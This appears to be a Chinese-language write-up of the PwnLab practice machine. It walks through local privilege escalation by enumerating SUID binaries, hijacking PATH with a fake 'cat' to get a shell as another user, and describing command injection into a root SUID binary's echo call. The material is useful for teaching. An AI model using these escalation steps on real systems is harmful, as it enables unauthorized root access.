目录
前言
查找SUID文件
环境劫持无绝对路径命令
命令拼接
前期通过80实现了边界突破,并利用收集到的信息成功切换到了kane用户
查找具有SUID权限的文件
find / -perm -u=s -type f 2>/dev/null
or
find / -perm -4000 2>/dev/null
kane@pwnlab:/home$ find / -perm -u=s -type f 2>/dev/null
/bin/mount
/bin/su
/bin/umount
/sbin/mount.nfs
/home/kane/msgmike
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/at
/usr/bin/passwd
/usr/bin/procmail
/usr/bin/chsh
/usr/bin/gpasswd
/usr/lib/eject/dmcrypt-get-device
/usr/lib/pt_chown
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/sbin/exim4
查看msgmike
file msgmike
kane@pwnlab:~$ file msgmike
msgmike: setuid, setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d7e0b21f33b2134bd17467c3bb9be37deb88b365, not stripped
是一个ELF的可执行文件
运行下看看;出现了报错
kane@pwnlab:~$ ./msgmike
cat: /home/mike/msg.txt: No such file or directory
有理由怀疑脚本文件执行了cat /home/mike/msg.txt ,而msg.txt没有被创建导致了报错
查看这段二进制文件里的可打印字符, 通过strings显示打印字符我们可以大致看到程序 调用了哪些库 有哪些函数名 打印了什么字符串。
strings msgmike
kane@pwnlab:~$ strings msgmike
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
setregid
setreuid
system
__libc_start_main
_gmon_start_
GLIBC_2.0
PTRh
QVh[
[^_]
cat /home/mike/msg.txt
;*2$"(
GCC: (Debian 4.9.2-10) 4.9.2
GCC: (Debian 4.8.4-1) 4.8.4
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rel.dyn
.rel.plt
.init
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got
.got.plt
.data
.bss
.comment
crtstuff.c
_JCR_LIST_
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
completed.6279
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
msgmike.c
_FRAME_END_
_JCR_END_
__init_array_end
_DYNAMIC
__init_array_start
GLOBAL_OFFSET_TABLE
__libc_csu_fini
_ITM_deregisterTMCloneTable
__x86.get_pc_thunk.bx
data_start
_edata
_fini
__data_start
system@@GLIBC_2.0
_gmon_start_
__dso_handle
_IO_stdin_used
setreuid@@GLIBC_2.0
__libc_start_main@@GLIBC_2.0
__libc_csu_init
_end
_start
_fp_hw
__bss_start
main
setregid@@GLIBC_2.0
_Jv_RegisterClasses
_TMC_END_
_ITM_registerTMCloneTable
_init
system 与 cat /home/mike/msg.txt 的出现 说明了 程序调用了system 执行了系统命令 cat
不过执行的cat没有使用路径的方式,这就意味着我们可以修改环境变量劫持这个命令cat
新建一个名为cat的文件内容为shell给执行权限, 将环境变量设置为当前目录
echo /bin/bash > cat
chmod +x cat
export PATH=.:$PATH
成功拿到mike的shell
再次寻找SUID文件
mike@pwnlab:~$ find / -perm -u=s -type f 2>/dev/null
/bin/mount
/bin/su
/bin/umount
/sbin/mount.nfs
/home/mike/msg2root
/home/kane/msgmike
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/at
/usr/bin/passwd
/usr/bin/procmail
/usr/bin/chsh
/usr/bin/gpasswd
/usr/lib/eject/dmcrypt-get-device
/usr/lib/pt_chown
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/sbin/exim4
查看/home/mike/msg2root
mike@pwnlab:/home/mike$ file msg2root
msg2root: setuid, setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=60bf769f8fbbfd406c047f698b55d2668fae14d3, not stripped
这次的SUID 是root ,也就是说可以通过suid提权的方式得到root权限。
尝试运行
mike@pwnlab:/home/mike$ ./msg2root
Message for root: id
id
mike@pwnlab:/home/mike$
可能要给root发消息
查看strings
mike@pwnlab:/home/mike$ strings msg2root
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
stdin
fgets
asprintf
system
__libc_start_main
_gmon_start_
GLIBC_2.0
PTRh
[^_]
Message for root:
/bin/echo %s >> /root/messages.txt
;*2$"(
GCC: (Debian 4.9.2-10) 4.9.2
GCC: (Debian 4.8.4-1) 4.8.4
.symtab
[后面的省略了]
这里使用了绝对路径的方式执行了echo 这就没办法使用环境变量劫持了
不过 对于/bin/echo %s >> /root/messages.txt
我们可以尝试使用命令拼接的方式(类似于sql拼接)来执行格外的命令!
成功提权到root用户